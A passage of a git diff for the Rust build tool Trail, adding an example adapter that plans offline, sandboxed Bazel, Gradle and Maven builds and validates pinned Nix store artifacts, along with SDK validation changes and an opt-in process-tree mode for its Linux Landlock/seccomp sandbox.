or caches. They +may omit outputs, or declare only lane-scoped `writable_private` companion state with +`reuse = none` and `publish = never`. Trail creates those empty private directories +without adapter execution; immutable/shared, gated, compatible, or host-scoped outputs +remain invalid. Trail validates the digest/reference/platform tuple, includes the sorted +contract in the component key, persists it with each generation, and treats external +artifact cleanup as provider-owned. Registry access, tag resolution, credentials, and +runtime allocation are deliberately outside the planner. The same metadata-only contract represents an already verified provider store without copying it into a Trail layer. This is suitable for content-addressed build stores, @@ -305,6 +308,13 @@ let plan = AdapterPlanV2::builder("external-stores", "external") digest, and exact platform identity (or `any`). It cannot back an OCI runtime resource; container declarations still require a digest-pinned `oci_image` in the same plan. +For example, a Nix planner can record verified `/nix/store/...` package/check identities +and a digest-pinned builder image while declaring lane-private profile and client-state +directories. The adapter does not run Nix, read the host store, receive the Docker +socket, or create those directories. The repository marker or verified resolution +evidence remains responsible for proving that pure, locked evaluation produced the +reported store references and NAR SHA-256 digests. + An external plan may bind a pinned image to a lane-private service declaration. The adapter still performs no provider calls and receives no Docker socket, network, port, volume, or cleanup authority: diff --git a/trail-environment-adapter-sdk/examples/ecosystem-build-adapter.rs b/trail-environment-adapter-sdk/examples/ecosystem-build-adapter.rs new file mode 100644 index 00000000..6d84060d --- /dev/null +++ b/trail-environment-adapter-sdk/examples/ecosystem-build-adapter.rs @@ -0,0 +1,595 @@ +use std::collections::BTreeSet; + +use serde::Deserialize; +use trail_environment_adapter_sdk::{ + serve_once, AdapterCache, AdapterCacheProtocol, AdapterCommand, AdapterExternalArtifact, + AdapterOperation, AdapterOutput, AdapterPlanV2, AdapterResponse, AdapterResult, + DiscoveredComponent, PinnedFile, PROTOCOL_V2, +}; + +const NIX_BUILDER_IMAGE: &str = + "nixos/nix@sha256:286285edfc390096bd7e8aada40c5044dadff1eb0b60f28b193eef7ed52e5925"; +const NIX_VERSION: &str = "2.29.1"; +const NIX_PLATFORM: &str = "linux/arm64"; + +fn main() { + if let Err(error) = serve_once(|request| { + let result = if request.protocol != PROTOCOL_V2 { + AdapterResult::Error { + code: "unsupported_protocol".into(), + message: "ecosystem build adapters require trail.environment-adapter/v2".into(), + } + } else { + match &request.operation { + AdapterOperation::Discover { files, .. } => AdapterResult::Discovered { + component: marker(&request.adapter_identity, files).map(|_| { + DiscoveredComponent::new( + format!( + "external-build.{}", + ecosystem_name(&request.adapter_identity).unwrap_or("unknown") + ), + if request.adapter_identity == "trail-examples/nix@1" { + "external" + } else { + "compiler-results" + }, + ) + }), + }, + AdapterOperation::Plan { + component_id, + files, + .. + } => plan(&request.adapter_identity, component_id, files), + } + }; + AdapterResponse::for_request(&request, result) + }) { + eprintln!("ecosystem-build-adapter: {error}"); + std::process::exit(1); + } +} + +fn ecosystem_name(identity: &str) -> Option<&'static str> { + match identity { + "trail-examples/bazel@1" => Some("bazel"), + "trail-examples/gradle@1" => Some("gradle"), + "trail-examples/maven@1" => Some("maven"), + "trail-examples/nix@1" => Some("nix"), + _ => None, + } +} + +fn marker<'a>(identity: &str, files: &'a [PinnedFile]) -> Option<&'a PinnedFile> { + let name = match identity { + "trail-examples/bazel@1" => "trail.bazel.toml", + "trail-examples/gradle@1" => "trail.gradle.toml", + "trail-examples/maven@1" => "trail.maven.toml", + "trail-examples/nix@1" => "trail.nix.toml", + _ => return None, + }; + files.iter().find(|file| file.path == name) +} + +fn plan(identity: &str, component_id: &str, files: &[PinnedFile]) -> AdapterResult { + if marker(identity, files).is_none() { + return AdapterResult::Error { + code: "missing_marker".into(), + message: "certification marker is missing".into(), + }; + } + if identity == "trail-examples/nix@1" { + return match nix_plan(component_id, files) { + Ok(plan) => AdapterResult::PlannedV2 { plan }, + Err(message) => AdapterResult::Error { + code: "invalid_nix_certification".into(), + message, + }, + }; + } + let inputs = files + .iter() + .map(|file| file.path.clone()) + .collect::>(); + let builder = AdapterPlanV2::builder(component_id.to_string(), "compiler-results") + .identity_inputs(inputs) + .semantic_input("certification_contract", "offline-process-tree-v1"); + let plan = match identity { + "trail-examples/bazel@1" => builder + .cache( + AdapterCache::host_exclusive("repository", AdapterCacheProtocol::ContentStore) + .compatibility_dimension("tool", "bazel") + .environment_variable("TRAIL_BAZEL_REPOSITORY_CACHE", "."), + ) + .cache( + AdapterCache::host_exclusive("disk", AdapterCacheProtocol::CompilerCache) + .compatibility_dimension("tool", "bazel") + .environment_variable("TRAIL_BAZEL_DISK_CACHE", "."), + ) + .staging_command( + AdapterCommand::new( + "bazel", + [ + "--batch", + "--output_user_root=trail-bazel-output", + "test", + "--repository_cache={trail-cache:repository}", + "--disk_cache={trail-cache:disk}", + "--repository_disable_download", + "--symlink_prefix=trail-bazel-output/links/", + "//...", + ], + ) + .identity_args(["--version"]) + .sandboxed_process_tree(), + ) + .output(AdapterOutput::writable_private( + "output-root", + "trail-bazel-output", + ".bazel-trail-output", + )) + .stale_reason("Bazel source, module/lock/config, tool, platform, or adapter changed") + .build(), + "trail-examples/gradle@1" => builder + .cache( + AdapterCache::host_exclusive("user-home", AdapterCacheProtocol::ContentStore) + .compatibility_dimension("tool", "gradle") + .environment_variable("GRADLE_USER_HOME", "."), + ) + .staging_command( + AdapterCommand::new( + "gradle", + [ + "--offline", + "--no-daemon", + "--project-cache-dir", + "trail-gradle-project-cache", + "build", + "trailTest", + ], + ) + .environment_variable( + "JAVA_OPTS", + "-XX:MaxMetaspaceSize=384m -XX:+HeapDumpOnOutOfMemoryError -Xms256m -Xmx512m -Dfile.encoding=UTF-8 -Duser.country=CA -Duser.language=en -Duser.variant", + ) + .identity_args(["--version"]) + .sandboxed_process_tree(), + ) + .output(AdapterOutput::writable_private("build", "build", "build")) + .output(AdapterOutput::writable_private( + "project-cache", + "trail-gradle-project-cache", + ".gradle", + )) + .stale_reason( + "Gradle source, wrapper/locks/catalog/settings, tool, platform, or adapter changed", + ) + .build(), + "trail-examples/maven@1" => builder + .cache( + AdapterCache::host_exclusive("repository", AdapterCacheProtocol::ContentStore) + .compatibility_dimension("tool", "maven") + .environment_variable("TRAIL_MAVEN_REPOSITORY", "."), + ) + .staging_command( + AdapterCommand::new( + "mvn", + [ + "--batch-mode", + "--offline", + "-Dmaven.repo.local={trail-cache:repository}", + "--log-file", + "trail-maven-logs/maven.log", + "clean", + "test", + ], + ) + .identity_args(["--version"]) + .sandboxed_process_tree(), + ) + .output(AdapterOutput::writable_private( + "target", "target", "target", + )) + .output(AdapterOutput::writable_private( + "logs", + "trail-maven-logs", + ".trail-maven-logs", + )) + .stale_reason("Maven source, POM/lock/settings, tool, platform, or adapter changed") + .build(), + _ => { + return AdapterResult::Error { + code: "unsupported_adapter".into(), + message: "adapter identity is not an ecosystem certification package".into(), + }; + } + }; + match plan { + Ok(plan) => AdapterResult::PlannedV2 { plan }, + Err(error) => AdapterResult::Error { + code: "invalid_plan".into(), + message: error.to_string(), + }, + } +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct NixCertificationMarker { + schema: String, + locked: bool, + pure: bool, + flake_lock_sha256: String, + nix_version: String, + builder_image: String, + platform: String, + artifacts: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct NixStoreArtifact { + name: String, + store_path: String, + nar_sha256: String, +} + +fn nix_plan(component_id: &str, files: &[PinnedFile]) -> Result { + let marker = marker("trail-examples/nix@1", files) + .ok_or_else(|| "Nix certification marker is missing".to_string())?; + let marker_text = std::str::from_utf8(&marker.content) + .map_err(|_| "Nix certification marker must be UTF-8".to_string())?; + let marker: NixCertificationMarker = toml::from_str(marker_text) + .map_err(|error| format!("cannot decode Nix certification marker: {error}"))?; + if marker.schema != "trail.nix-store/v1" { + return Err("Nix certification marker has an unsupported schema".to_string()); + } + if !marker.locked || !marker.pure { + return Err("Nix certification requires locked = true and pure = true".to_string()); + } + if marker.nix_version != NIX_VERSION + || marker.builder_image != NIX_BUILDER_IMAGE + || marker.platform != NIX_PLATFORM + { + return Err("Nix tool, pinned builder image, or platform identity changed".to_string()); + } + let lock = files + .iter() + .find(|file| file.path == "flake.lock") + .ok_or_else(|| "Nix certification requires a pinned flake.lock".to_string())?; + let expected_lock_digest = normalize_sha256(&marker.flake_lock_sha256) + .ok_or_else(|| "flake_lock_sha256 must be a lowercase SHA-256 digest".to_string())?; + let actual_lock_digest = normalize_sha256(&lock.content_hash) + .ok_or_else(|| "pinned flake.lock has an invalid content digest".to_string())?; + if expected_lock_digest != actual_lock_digest { + return Err("flake_lock_sha256 does not match the pinned flake.lock".to_string()); + } + if marker.artifacts.len() != 2 { + return Err( + "Nix certification must declare exactly package and check artifacts".to_string(), + ); + } + let mut names = BTreeSet::new(); + let mut artifacts = Vec::with_capacity(3); + artifacts.push(AdapterExternalArtifact::pinned_oci_image( + "nix-builder", + NIX_BUILDER_IMAGE, + NIX_PLATFORM, + )); + for artifact in marker.artifacts { + if !matches!(artifact.name.as_str(), "package" | "check") + || !names.insert(artifact.name.clone()) + { + return Err( + "Nix certification artifact names must be unique package and check".to_string(), + ); + } + if !valid_nix_store_path(&artifact.store_path) { + return Err(format!( + "Nix certification artifact `{}` has an invalid store path", + artifact.name + )); + } + let digest = normalize_sha256(&artifact.nar_sha256).ok_or_else(|| { + format!( + "Nix certification artifact `{}` has an invalid NAR SHA-256 digest", + artifact.name + ) + })?; + artifacts.push(AdapterExternalArtifact::verified_external( + artifact.name, + "nix", + artifact.store_path, + format!("sha256:{digest}"), + NIX_PLATFORM, + )); + } + if names != BTreeSet::from(["check".to_string(), "package".to_string()]) { + return Err("Nix certification must include package and check artifacts".to_string()); + } + + AdapterPlanV2::builder(component_id.to_string(), "external") + .identity_inputs(files.iter().map(|file| file.path.clone())) + .semantic_input("certification_contract", "pure-locked-nix-store-v1") + .semantic_input("flake_lock_sha256", format!("sha256:{expected_lock_digest}")) + .semantic_input("nix_version", NIX_VERSION) + .semantic_input("builder_image", NIX_BUILDER_IMAGE) + .semantic_input("platform", NIX_PLATFORM) + .external_artifacts(artifacts) + .output(AdapterOutput::writable_private( + "profile", + "trail-nix-profile", + ".trail-nix-profile", + )) + .output(AdapterOutput::writable_private( + "state", + "trail-nix-state", + ".trail-nix-state", + )) + .stale_reason( + "Nix source, flake lock, pure builder, immutable store identities, platform, or adapter changed", + ) + .build() + .map_err(|error| error.to_string()) +} + +fn normalize_sha256(value: &str) -> Option<&str> { + let value = value.strip_prefix("sha256:").unwrap_or(value); + (value.len() == 64 + && value + .bytes() + .all(|byte| byte.is_ascii_digit() || (b'a'..=b'f').contains(&byte))) + .then_some(value) +} + +fn valid_nix_store_path(path: &str) -> bool { + let Some(name) = path.strip_prefix("/nix/store/") else { + return false; + }; + let Some((hash, package)) = name.split_once('-') else { + return false; + }; + !package.is_empty() + && !package.contains('/') + && hash.len() == 32 + && hash + .bytes() + .all(|byte| byte.is_ascii_lowercase() || byte.is_ascii_digit()) + && package + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || b"+._=-".contains(&byte)) +} + +#[cfg(test)] +mod tests { + use super::*; + use trail_environment_adapter_sdk::AdapterAction; + + fn marker_file(path: &str) -> PinnedFile { + PinnedFile { + path: path.to_string(), + content_hash: "sha256:fixture".to_string(), + executable: false, + content: b"schema = 1\n".to_vec(), + } + } + + fn nix_files(locked: bool, pure: bool, lock_digest: &str, store_path: &str) -> Vec { + let marker = format!( + r#"schema = "trail.nix-store/v1" +locked = {locked} +pure = {pure} +flake_lock_sha256 = "sha256:{lock_digest}" +nix_version = "{NIX_VERSION}" +builder_image = "{NIX_BUILDER_IMAGE}" +platform = "{NIX_PLATFORM}" + +[[artifacts]] +name = "package" +store_path = "{store_path}" +nar_sha256 = "sha256:{lock_digest}" + +[[artifacts]] +name = "check" +store_path = "/nix/store/22222222222222222222222222222222-certification-check" +nar_sha256 = "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" +"# + ); + vec![ + PinnedFile { + path: "trail.nix.toml".to_string(), + content_hash: "sha256:marker".to_string(), + executable: false, + content: marker.into_bytes(), + }, + PinnedFile { + path: "flake.lock".to_string(), + content_hash: + "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + executable: false, + content: b"{}\n".to_vec(), + }, + ] + } + + #[test] + fn maven_uses_the_conventional_private_target_and_offline_cache() { + let AdapterResult::PlannedV2 { plan } = plan( + "trail-examples/maven@1", + "external-build.maven", + &[marker_file("trail.maven.toml")], + ) else { + panic!("Maven fixture did not produce a v2 plan"); + }; + assert_eq!(plan.outputs.len(), 2); + let target = plan + .outputs + .iter() + .find(|output| output.name == "target") + .unwrap(); + assert_eq!(target.source, "target"); + assert_eq!(target.target, "target"); + let logs = plan + .outputs + .iter() + .find(|output| output.name == "logs") + .unwrap(); + assert_eq!(logs.source, "trail-maven-logs"); + assert_eq!(logs.target, ".trail-maven-logs"); + let AdapterAction::Staging(command) = &plan.actions[0] else { + panic!("Maven fixture did not produce a staging command"); + }; + assert!(command.process_tree); + assert!(command.args.iter().any(|argument| argument == "--offline")); + assert!(command + .args + .windows(2) + .any(|arguments| arguments == ["clean", "test"])); + assert!(command + .args + .windows(2) + .any(|arguments| { arguments == ["--log-file", "trail-maven-logs/maven.log"] })); + assert!(command + .args + .iter() + .any(|argument| argument.contains("{trail-cache:repository}"))); + assert!(!command + .args + .iter() + .any(|argument| argument.contains("project.build.directory"))); + } + + #[test] + fn bazel_places_startup_options_before_the_test_command() { + let AdapterResult::PlannedV2 { plan } = plan( + "trail-examples/bazel@1", + "external-build.bazel", + &[marker_file("trail.bazel.toml")], + ) else { + panic!("Bazel fixture did not produce a v2 plan"); + }; + let AdapterAction::Staging(command) = &plan.actions[0] else { + panic!("Bazel fixture did not produce a staging command"); + }; + let test_index = command + .args + .iter() + .position(|argument| argument == "test") + .unwrap(); + assert!(command.args[..test_index] + .iter() + .any(|argument| argument.starts_with("--output_user_root="))); + assert!(command.args[test_index + 1..] + .iter() + .any(|argument| argument.starts_with("--repository_cache="))); + } + + #[test] + fn gradle_is_offline_and_matches_launcher_jvm_options_without_a_daemon() { + let AdapterResult::PlannedV2 { plan } = plan( + "trail-examples/gradle@1", + "external-build.gradle", + &[marker_file("trail.gradle.toml")], + ) else { + panic!("Gradle fixture did not produce a v2 plan"); + }; + let AdapterAction::Staging(command) = &plan.actions[0] else { + panic!("Gradle fixture did not produce a staging command"); + }; + assert!(command.process_tree); + assert!(command.args.iter().any(|argument| argument == "--offline")); + assert!(command + .args + .iter() + .any(|argument| argument == "--no-daemon")); + assert_eq!(command.args.last().map(String::as_str), Some("trailTest")); + let java_options = command.environment.get("JAVA_OPTS").unwrap(); + assert!(java_options.contains("-Xms256m")); + assert!(java_options.contains("-Xmx512m")); + assert!(java_options.contains("-Dfile.encoding=UTF-8")); + } + + #[test] + fn nix_records_only_pinned_store_artifacts_and_private_client_state() { + let files = nix_files( + true, + true, + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "/nix/store/11111111111111111111111111111111-certification-package", + ); + let AdapterResult::PlannedV2 { plan } = + plan("trail-examples/nix@1", "external-build.nix", &files) + else { + panic!("Nix fixture did not produce a v2 plan"); + }; + assert_eq!(plan.kind, "external"); + assert!(plan.actions.is_empty()); + assert!(plan.caches.is_empty()); + assert_eq!(plan.external_artifacts.len(), 3); + assert!(plan.external_artifacts.iter().any(|artifact| { + artifact.name == "nix-builder" + && artifact.reference == NIX_BUILDER_IMAGE + && artifact.platform == NIX_PLATFORM + })); + assert!(plan.external_artifacts.iter().any(|artifact| { + artifact.name == "package" + && artifact.provider == "nix" + && artifact.reference.starts_with("/nix/store/") + })); + assert_eq!(plan.outputs.len(), 2); + assert!(plan.outputs.iter().all(|output| { + output.policy == trail_environment_adapter_sdk::AdapterOutputPolicy::WritablePrivate + && output.reuse == trail_environment_adapter_sdk::AdapterReuseMode::None + && output.scope == trail_environment_adapter_sdk::AdapterSharingScope::Lane + && output.publish == trail_environment_adapter_sdk::AdapterPublicationTrigger::Never + })); + } + + #[test] + fn nix_rejects_unlocked_impure_or_mismatched_certification() { + for files in [ + nix_files( + false, + true, + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "/nix/store/11111111111111111111111111111111-package", + ), + nix_files( + true, + false, + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "/nix/store/11111111111111111111111111111111-package", + ), + nix_files( + true, + true, + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "/nix/store/11111111111111111111111111111111-package", + ), + ] { + let AdapterResult::Error { code, .. } = + plan("trail-examples/nix@1", "external-build.nix", &files) + else { + panic!("invalid Nix fixture was accepted"); + }; + assert_eq!(code, "invalid_nix_certification"); + } + } + + #[test] + fn nix_rejects_malformed_store_identity() { + let files = nix_files( + true, + true, + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "/tmp/not-a-nix-store-path", + ); + let AdapterResult::Error { message, .. } = + plan("trail-examples/nix@1", "external-build.nix", &files) + else { + panic!("malformed Nix store identity was accepted"); + }; + assert!(message.contains("invalid store path")); + } +} diff --git a/trail-environment-adapter-sdk/src/lib.rs b/trail-environment-adapter-sdk/src/lib.rs index c2c61c84..6248710d 100644 --- a/trail-environment-adapter-sdk/src/lib.rs +++ b/trail-environment-adapter-sdk/src/lib.rs @@ -335,8 +335,10 @@ pub struct AdapterPlanV2 { #[serde(default, skip_serializing_if = "Vec::is_empty")] pub caches: Vec, /// Provider-owned immutable identities. A plan that declares external - /// artifacts is metadata-only: it must not also declare actions, caches, - /// or filesystem outputs. + /// artifacts cannot also declare actions or caches. It may declare only + /// lane-scoped writable-private, never-published companion outputs for + /// mutable client state such as a Nix profile; those directories are + /// created by Trail without adapter execution. #[serde(default, skip_serializing_if = "Vec::is_empty")] pub external_artifacts: Vec, /// Per-lane runtime resources derived from declared immutable artifacts. @@ -1037,16 +1039,24 @@ impl AdapterPlanV2Builder { }); } } - let metadata_only = !self.external_artifacts.is_empty(); - if metadata_only - && (self.kind != "external" - || !self.actions.is_empty() - || !self.caches.is_empty() - || !self.outputs.is_empty()) + let external = !self.external_artifacts.is_empty(); + if external + && (self.kind != "external" || !self.actions.is_empty() || !self.caches.is_empty()) { return Err(AdapterPlanBuildError::ExternalArtifactPlanConflict); } - if !metadata_only && self.actions.is_empty() { + if external + && self.outputs.iter().any(|output| { + output.policy != AdapterOutputPolicy::WritablePrivate + || output.reuse != AdapterReuseMode::None + || output.scope != AdapterSharingScope::Lane + || output.publish != AdapterPublicationTrigger::Never + || output.gate.is_some() + }) + { + return Err(AdapterPlanBuildError::ExternalArtifactPlanConflict); + } + if !external && self.actions.is_empty() { return Err(AdapterPlanBuildError::MissingAction); } if self.actions.len() > 9 { @@ -1076,7 +1086,7 @@ impl AdapterPlanV2Builder { }; validate_adapter_command(command, field)?; } - if !metadata_only { + if !self.outputs.is_empty() { validate_adapter_outputs(&self.outputs)?; } let stale_reason = self @@ -1113,6 +1123,8 @@ pub enum AdapterPlanBuildError { EmptyValue { field: &'static str }, #[error("adapter plan field `{field}` contains a NUL byte")] NulValue { field: &'static str }, + #[error("adapter plan field `{field}` contains an invalid command identity declaration")] + InvalidCommand { field: &'static str }, #[error("adapter plan field `{field}` contains duplicate value `{value}`")] DuplicateValue { field: &'static str, value: String }, #[error("adapter component `{component_id}` cannot depend on itself")] @@ -1128,7 +1140,7 @@ pub enum AdapterPlanBuildError { #[error("adapter protocol-v2 plans support at most sixteen caches; received {actual}")] CacheCount { actual: usize }, #[error( - "external-artifact plans require kind `external` and cannot mix actions, caches, or filesystem outputs" + "external-artifact plans require kind `external`, cannot mix actions or caches, and permit only lane-scoped writable-private never-published companion outputs" )] ExternalArtifactPlanConflict, #[error("adapter protocol-v2 plans support at most 32 external artifacts; received {actual}")] @@ -1475,9 +1487,15 @@ fn validate_adapter_command( ) -> Result<(), AdapterPlanBuildError> { require_non_empty(&command.program, field)?; require_non_empty(&command.working_directory, field)?; + if command.identity_args.len() > 16 + || command.identity_args.iter().any(|value| value.len() > 4096) + { + return Err(AdapterPlanBuildError::InvalidCommand { field }); + } if command .args .iter() + .chain(&command.identity_args) .chain(command.environment.keys()) .chain(command.environment.values()) .any(|value| value.contains('\0')) @@ -1541,6 +1559,19 @@ pub struct AdapterCommand { pub working_directory: String, #[serde(default)] pub environment: BTreeMap, + /// Explicitly requests a native-sandboxed child process tree for build + /// tools such as Bazel, Gradle, Maven, or Nix. The host may deny this + /// capability based on package trust, protocol, platform, or policy. + #[serde(default, skip_serializing_if = "is_false")] + pub process_tree: bool, + /// Optional bounded argv used by the host during planning to capture a + /// deterministic tool-version identity in addition to executable bytes. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub identity_args: Vec, +} + +fn is_false(value: &bool) -> bool { + !*value } impl AdapterCommand { @@ -1554,6 +1585,8 @@ impl AdapterCommand { args: args.into_iter().map(Into::into).collect(), working_directory: ".".to_string(), environment: BTreeMap::new(), + process_tree: false, + identity_args: Vec::new(), } } @@ -1570,6 +1603,20 @@ impl AdapterCommand { self.environment.insert(name.into(), value.into()); self } + + pub fn sandboxed_process_tree(mut self) -> Self { + self.process_tree = true; + self + } + + pub fn identity_args(mut self, args: I) -> Self + where + I: IntoIterator, + S: Into, + { + self.identity_args = args.into_iter().map(Into::into).collect(); + self + } } #[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)] @@ -1936,6 +1983,8 @@ mod tests { args: Vec::new(), working_directory: ".".to_string(), environment: BTreeMap::new(), + process_tree: false, + identity_args: Vec::new(), }, outputs: vec![AdapterOutput { name: "generated".to_string(), @@ -2082,6 +2131,47 @@ mod tests { serde_cbor::from_slice(&serde_cbor::to_vec(&plan).unwrap()).unwrap(); assert_eq!(decoded, plan); + let with_private_state = AdapterPlanV2::builder("nix-store", "external") + .identity_input("flake.lock") + .external_artifact(AdapterExternalArtifact::verified_external( + "package", + "nix-store", + "/nix/store/example-package", + digest, + "linux/aarch64", + )) + .output(AdapterOutput::writable_private( + "profile", + "trail-nix-profile", + ".trail-nix-profile", + )) + .stale_reason("Nix store identity or private profile policy changed") + .build() + .unwrap(); + assert!(with_private_state.actions.is_empty()); + assert_eq!(with_private_state.external_artifacts.len(), 1); + assert_eq!(with_private_state.outputs.len(), 1); + + let shared_state = AdapterPlanV2::builder("invalid-nix-store", "external") + .external_artifact(AdapterExternalArtifact::verified_external( + "package", + "nix-store", + "/nix/store/example-package", + digest, + "linux/aarch64", + )) + .output(AdapterOutput::immutable_shared( + "profile", + "trail-nix-profile", + ".trail-nix-profile", + )) + .stale_reason("invalid shared external state") + .build(); + assert_eq!( + shared_state, + Err(AdapterPlanBuildError::ExternalArtifactPlanConflict) + ); + let runtime = AdapterPlanV2::builder("invalid-runtime", "external") .external_artifact(AdapterExternalArtifact::verified_external( "store", @@ -2165,6 +2255,46 @@ mod tests { assert_eq!(decoded, plan); } + #[test] + fn v2_command_process_tree_and_tool_identity_are_explicit_and_bounded() { + let command = AdapterCommand::new("builder", ["test"]) + .identity_args(["--version"]) + .sandboxed_process_tree(); + let plan = AdapterPlanV2::builder("generated", "generated") + .staging_command(command.clone()) + .output(AdapterOutput::writable_private( + "generated", + "generated", + "generated", + )) + .stale_reason("source or exact tool identity changed") + .build() + .unwrap(); + assert_eq!(plan.actions, [AdapterAction::Staging(command)]); + let decoded: AdapterPlanV2 = + serde_cbor::from_slice(&serde_cbor::to_vec(&plan).unwrap()).unwrap(); + assert_eq!(decoded, plan); + + let too_many = AdapterPlanV2::builder("generated", "generated") + .staging_command( + AdapterCommand::new("builder", ["test"]) + .identity_args((0..17).map(|index| index.to_string())), + ) + .output(AdapterOutput::writable_private( + "generated", + "generated", + "generated", + )) + .stale_reason("source or exact tool identity changed") + .build(); + assert_eq!( + too_many, + Err(AdapterPlanBuildError::InvalidCommand { + field: "actions.staging" + }) + ); + } + #[test] fn v2_builder_rejects_mounted_and_ambiguous_cache_bindings() { let mounted_only = AdapterPlanV2::builder("generated", "generated") diff --git a/trail/src/cli/environment_sandbox.rs b/trail/src/cli/environment_sandbox.rs index 3627a06b..2e1a8057 100644 --- a/trail/src/cli/environment_sandbox.rs +++ b/trail/src/cli/environment_sandbox.rs @@ -23,13 +23,14 @@ mod linux { temporary: PathBuf, program: PathBuf, interpreter: Option, + allow_process_tree: bool, args: Vec, } pub(super) fn run(arguments: impl Iterator) -> Result { let invocation = parse(arguments)?; apply_landlock(&invocation)?; - apply_network_and_privilege_seccomp()?; + apply_network_and_privilege_seccomp(invocation.allow_process_tree)?; let error = Command::new(&invocation.program) .args(&invocation.args) .exec(); @@ -88,9 +89,15 @@ mod linux { }; let temporary = value(&mut arguments, "--tmp")?; let program = value(&mut arguments, "--program")?; - let separator = arguments + let mut separator = arguments .next() .ok_or_else(|| "missing internal sandbox argument separator".to_string())?; + let allow_process_tree = separator == OsStr::new("--allow-process-tree"); + if allow_process_tree { + separator = arguments + .next() + .ok_or_else(|| "missing internal sandbox argument separator".to_string())?; + } if separator != OsStr::new("--") { return Err("invalid internal sandbox argument separator".to_string()); } @@ -156,7 +163,11 @@ mod linux { .map_err(|error| format!("cannot canonicalize sandbox temporary directory: {error}"))?; let program = fs::canonicalize(&program) .map_err(|error| format!("cannot canonicalize sandbox program: {error}"))?; - let interpreter = elf_interpreter(&program)?; + let interpreter = if allow_process_tree { + None + } else { + elf_interpreter(&program)? + }; for (kind, paths) in [("input", &reads), ("output", &outputs)] { for path in paths { if path.starts_with(&root) { @@ -180,6 +191,7 @@ mod linux { temporary, program, interpreter, + allow_process_tree, args: arguments.collect(), }) } @@ -313,7 +325,11 @@ mod linux { let read_without_execute = AccessFs::from_read(abi) & !AccessFs::Execute; let read_file = read_without_execute & AccessFs::from_file(abi); let read_execute_file = read_file | AccessFs::Execute; - let writable = all & !AccessFs::Execute; + let writable = if invocation.allow_process_tree { + all + } else { + all & !AccessFs::Execute + }; let writable_file = writable & AccessFs::from_file(abi); let mut ruleset = Ruleset::default() .set_compatibility(CompatLevel::HardRequirement) @@ -330,7 +346,11 @@ mod linux { PathFd::new(path).map_err(|error| { format!("cannot open sandbox system path `{path}`: {error}") })?, - read_without_execute, + if invocation.allow_process_tree { + read_without_execute | AccessFs::Execute + } else { + read_without_execute + }, )) .map_err(|error| { format!("cannot allow sandbox system path `{path}`: {error}") @@ -370,7 +390,11 @@ mod linux { format!("cannot open sandbox input `{}`: {error}", path.display()) })?, if path.is_dir() { - read_without_execute + if invocation.allow_process_tree { + read_without_execute | AccessFs::Execute + } else { + read_without_execute + } } else { read_file }, @@ -457,7 +481,7 @@ mod linux { Ok(()) } - fn apply_network_and_privilege_seccomp() -> Result<(), String> { + fn apply_network_and_privilege_seccomp(allow_process_tree: bool) -> Result<(), String> { // A deny-list is appropriate here because Landlock supplies the // filesystem allow-list and exact executable policy. Seccomp closes // every socket-family entry point plus kernel/namespace escape hatches. @@ -513,46 +537,52 @@ mod linux { )); } #[cfg(target_arch = "x86_64")] - for syscall in [libc::SYS_fork, libc::SYS_vfork] { - filter.push(jump(BPF_JMP | BPF_JEQ | BPF_K, syscall as u32, 0, 1)); - filter.push(stmt( - BPF_RET | BPF_K, - SECCOMP_RET_ERRNO | libc::EPERM as u32, - )); + if !allow_process_tree { + for syscall in [libc::SYS_fork, libc::SYS_vfork] { + filter.push(jump(BPF_JMP | BPF_JEQ | BPF_K, syscall as u32, 0, 1)); + filter.push(stmt( + BPF_RET | BPF_K, + SECCOMP_RET_ERRNO | libc::EPERM as u32, + )); + } } // Modern pthread implementations may probe clone3. Report it as // unavailable so they can fall back to clone, whose flags we can // inspect in classic BPF without dereferencing user memory. - filter.push(jump( - BPF_JMP | BPF_JEQ | BPF_K, - libc::SYS_clone3 as u32, - 0, - 1, - )); - filter.push(stmt( - BPF_RET | BPF_K, - SECCOMP_RET_ERRNO | libc::ENOSYS as u32, - )); + if !allow_process_tree { + filter.push(jump( + BPF_JMP | BPF_JEQ | BPF_K, + libc::SYS_clone3 as u32, + 0, + 1, + )); + filter.push(stmt( + BPF_RET | BPF_K, + SECCOMP_RET_ERRNO | libc::ENOSYS as u32, + )); + } // Permit threads but reject process creation. clone's first argument // is the flags word on every Linux architecture Trail supports. - filter.push(jump( - BPF_JMP | BPF_JEQ | BPF_K, - libc::SYS_clone as u32, - 0, - 4, - )); - filter.push(stmt(BPF_LD | BPF_W | BPF_ABS, 16)); - filter.push(jump( - BPF_JMP | BPF_JSET | BPF_K, - libc::CLONE_THREAD as u32, - 1, - 0, - )); - filter.push(stmt( - BPF_RET | BPF_K, - SECCOMP_RET_ERRNO | libc::EPERM as u32, - )); - filter.push(stmt(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)); + if !allow_process_tree { + filter.push(jump( + BPF_JMP | BPF_JEQ | BPF_K, + libc::SYS_clone as u32, + 0, + 4, + )); + filter.push(stmt(BPF_LD | BPF_W | BPF_ABS, 16)); + filter.push(jump( + BPF_JMP | BPF_JSET | BPF_K, + libc::CLONE_THREAD as u32, + 1, + 0, + )); + filter.push(stmt( + BPF_RET | BPF_K, + SECCOMP_RET_ERRNO | libc::EPERM as u32, + )); + filter.push(stmt(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)); + } filter.push(stmt(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)); let mut program = libc::sock_fprog { len: u16::try_from(filter.len()) diff --git a/trail/src/db/change_ledger/activation.rs 